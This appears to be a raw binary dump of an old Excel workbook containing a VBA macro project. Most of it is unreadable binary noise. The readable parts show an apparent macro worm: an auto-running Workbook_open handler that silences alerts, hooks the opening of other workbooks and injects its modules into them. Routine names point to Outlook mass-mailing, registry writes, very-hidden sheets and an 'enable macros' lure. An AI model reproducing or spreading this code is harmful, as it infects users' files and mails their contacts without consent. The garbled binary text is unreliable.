atd).c>"A1:F1 5"' InStr(.Value, "i") > 0B *= >Exit < l"ņa}5)&?CBaCA q! !YyIt," x$ x xHt $ 0ltp x$ x lp=2tpx$" x$ x x  >\(`%x$ x d \W< :L ]@)x\5<V=[x x $ " x$ x x.seP,$ $tpx\<,F\`:d %tx$ Xx \t ` ,Q\X)xt`X <X <X <X <X <X <X <X < X < X <9*#T*#P*#L*#H X <2TPLH X < X <X <!X <"X <X <cX4(X,TPLHxt`\l$ XQlx'X:\ %lx \l QXtllt ,Qlp lpTPT 8lPT @cT,4TtxplX0 8  0 x  0   0   0   0   x l xK.\(`%px p d \#)p\<\ `%',%'<%'L%p$ p ( )p\ :` %p$ @p p(p'L%:`$%$ pp!:`%%p$ (p,p(p'L%:`&%$ ppY'( p$ p Tl(*#$(*F%\$ (\,2($)p\5(p'L%:`)%$ ppr:`*  + ,  +:L-%p$ (p,p6(p'L%:`.%$ pp!:`/%p$ (p,p(p'L%:`0%$ pp!:`1%p$ (p,p(p'L%:`2%$ pp!:`3%p$ (p,ppx Qp[tt=?tW :`4%:<5%f%px pp6 tu5L%\(`%px p d \6)p\x4xt8 ($p\0 P  0   0   0 P  0 8   0 H  0   0 0  0   0 H   0  0        rU $`$`$`$`,!`aDI`0==#$q`$`0` Iay0/0, `a( `0$9 `$a `$ `<`A00000$`(`a&$)`(Q`y/,y`//$`$`nȲ0* pHd VBAProject4@j = Regy`strkey`ValueK` ValueType `oWshellu`RegWrite!>`sht`Addr`xlExcel4MacroSheet0` ActiveSheet%N`Range ` ActiveCell` FormulaR1C1S`UserName\`ChrK~`Now%`Namesο`Excel4MacroSheetsɷ`Visible`xlSheetVeryHidden` WorkBookName+`WorkBookNotOpen`T1*_`T2+_`T3,_`T4-_`SentTime!D`WshShell0`UCase5 `RegReadw`Time`ReadOut` CreateFile` search_in_OLe`if_outlook_openi`DateAdd/6` timeErrorӋ`CreatCab_SendMailT@`i``AttName` AddVbsFileVg` AddListFile`fsF]` Folderexists ` CreateFolder`Replacef`AddVbsFile_clear͸`AddVbsFile_search` WindowState|` xlMaximizedZp`Run_`vbHideW` Address_listQ`get_ten_address``mail_sub`RestoreBeforeSendq+`c4\`ChDrive%` FileExists`Massive_SendMail`vbCrLf` Email_Address`SubjectRP`Bodyl` CC_email_add` Attachment^6`objOL` itmNewMail6` CreateItem~` olMailItem`CC\` Attachments_`DeleteAfterSubmit`continueT` SendEmail`display`SendKeysN`Wait`objs` GetObjectz` InstancesOfr`obj` Description ` RadomNine`lengthY`jj]`kb`RndR`md`singleAddress_arr `krr`Split)`FullPath+`FileTextg|` OpenTextFile`ReadAllU`FragMark)O`pathf; `aa{\`i_rowz,`i_colx`Deletex`xlSheetVisible`Cells`FontU`Bold` ColorIndex`del_shtv`rngU`del_fragy`_Defaultj`xx_` Workbook_open`xx_workbookOpenPZ` References` AddFromGuidA{`GUID`Major'`Minora` Worksheet` _B_var_Chr\;`# Z"dir__SRP_04__SRP_1PROJECTwm}r PV^R J< rstdole>stdole f%\*\G{00020430-C 0046}#2.0#0#C:\WINXP\system32\c2.tlb#OLE Automation^DOfficDO>fic5DD2DF8D04C-5BFA-101B -BDE5DAA5B42Dgram Files\CommonMicrosoft Shared\OFFICE11\MSO.DL L#M 11.0 Ob Li`braryKVBIDE>BIDjEE8157R5.3R/@\6E6EXT.OLB0Visual Basic for Applicas Extensibilit\y +ŸD%‰ThisWorkb@ookG TDh@ksW@rPkbo 2 HB1­Bay *\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020813-0000-0000-C000-000000000046}#1.5#0#C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE#Microsoft Excel 11.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINXP\system32\stdole2.tlb#OLE Automation(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.3#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLL#Microsoft Office 11.0 Object LibraryZ*\G{0002E157-0000-0000-C000-000000000046}#5.3#0#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB#Microsoft Visual Basic for Applications Extensibility 5.3 PV^R%ThisWorkbook08525e5650ThisWorkbookh Sheet109525e5650 Sheet1X Sheet20:525e5650 Sheet20 Sheet30;525e5651 Sheet3H ToDOLE07525e5650" ToDOLE`&x0H`^eO3(O"EKGNw v9swJ7NGQWJ,v9ŝsК@dD Excel+` VBA`Win16~`Win32`Mac`VBA6#`1p` stdole`` VBAProject` Officeu` ThisWorkbook|` _Evaluate` Sheet1` Sheet2` Sheet3` VBIDEA`ģ1c` ToDOLEŝ` auto_openV ` Application*` DisplayAlerts`Path2` StartupPathi`ScreenUpdating! `delete_this_wk}`copytoworkbooke`Sheets ` Movemacro4@`Save`DQUOTE!x` VBProjectOh` VBComponents '` CodeModule` InsertLines`VBProj`VBCompӜ` VBComponent`CodeMod}O` DeleteLines ` CountOfLines!\`(do_what`RestoreAfterOpen`(OpenDoor`(Microsofthobby ` ActionJudgeBG` (copystart `wb_`Workbookk`VBProj1F`VBProj2G` WorkbooksB` (copymodule` ModuleName#>` FromVBProject6` ToVBProject`OverwriteExistingk`FNameR`CompName!`Sj`SlashPosk#`ExtPosF` TempVBComp`Trim@` vbNullString` Protection`vbext_pp_lockedh`Erro`Number-`Environ,`vbNormal-`vbHiddenT;`vbSystem`Clear`Kill`Removeϱ`Itemz`Export`FileNamej`InStrRevĈ`Importi`vbext_ct_Document `Lines`myfile0[y`MyFile`FullNameО` WorkbookOpen`ShellV`vbMinimizedFocusx`IsAddin~|` SaveCopyAsT`Fso`RK1`RK2`RK3`RK4`KValue1'`KValue2(`VS_`Version` CreateObject`(W,!h"B+B±Sheet1*GS@#e@th1H2NHX2222T 3 3 3M 3 ) T,oD@u T9DOLY) &)!7bK*yrU~~~~~~~~~~~~~~K 4I'TL "A     ) A YAQi1 VBAProject ThisWorkbookSheet1Sheet2Sheet3ģ1ToDOLEF /C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLLVBA  10F4C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXEExcel 9@0F OĦC:\WINXP\system32\stdole2.tlbstdole  QPL-[DR?C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLLOffice q`WFCC:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLBVBIDE  p auto_opencopytoworkbookdelete_this_wkdo_what copystartF copymoduleMicrosofthobbyOpenDoorWReg Movemacro4 WorkbookOpen ActionJudge search_in_OLCreatCab_SendMailMassive_SendMailif_outlook_open RadomNineget_ten_addressReadOut CreateFileRestoreBeforeSendRestoreAfterOpen FF FdRLD%A F>ئFF4DFWorkbook @FName Macro1  ThisWorkbook`FbFdFnF " FPublic WithEvents xx As Application 6Private Sub Workbook_open() (Set xx = Application (On Error Resume Next =ALERT("y(u[ sQ 2~JNGm BApplication.DisplayAlerts = False Call do_what End Sub bPrivate Sub xx_workbookOpen(ByVal wb As Workbook) Jwb.VBProject.References.AddFromGuid _ GUID:= L{0002E157-0000-0000-C000-000000000046} , _ $Major:=5, Minor:=3 DApplication.ScreenUpdating = False copystart wb BApplication.ScreenUpdating = TrueFO!AO F} I CQq5VDF Worksheet Select A2 =ERROR(FALSE) A3       !"#% (=IF(ERROR.TYPE(RUN(" "))=4) A4 0Please Enable Macro!",3) A5 $=FILE.CLOSE(FALSE) A6 =END.IF() A7 =RETURN() !Auto_Activate =Macro1!$A$2VisibleVBE6.DLL q`  q" (i@F;f0_m;~kKх!A=~@MlrU~~~~w  Qwb ModuleName  FromVBProject ToVBProjectOverwriteExistingstrkeyValue ValueType WorkBookName Email_AddressSubjectBody CC_email_add AttachmentlengthFullPathFragMarkpathf Q ( Q)8ThisWorkbookThisWorkbookSheet1Sheet1Sheet2Sheet2Sheet3Sheet3ToDOLEToDOLEID="{E4CE033F-A65B-4CC3-8B2B-AFF8C3E70D4F}" Document=ThisWorkbook/&H00000000 Document=Sheet1/&H00000000 Document=Sheet2/&H00000000 Document=Sheet3/&H00000000 Module=ToDOLE Name="VBAProject" HelpContextID="0" VersionCompatible32="393222000" CMG="9F9DA84BD8757379737973797379" DPB="3E3C09EC3714D715D715D7" GC="DDDFEA891629172917D6" [Host Extender Info] &H00000001={3832D6PROJECT3SummaryInformation(DocumentSummaryInformation8CompObj$j40-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisWorkbook=0, 0, 0, 0, C Sheet1=0, 0, 0, 0, C Sheet2=0, 0, 0, 0, C Sheet3=0, 0, 0, 0, C ToDOLE=0, 0, 0, 0, C Oh+'0HP`l jxzxzzlMicrosoft Excel@Js0@"@N՜.+,0 PXh px anhui'  ڿοSheet3  FMicrosoft Office Excel Biff8Excel.Sheet.89q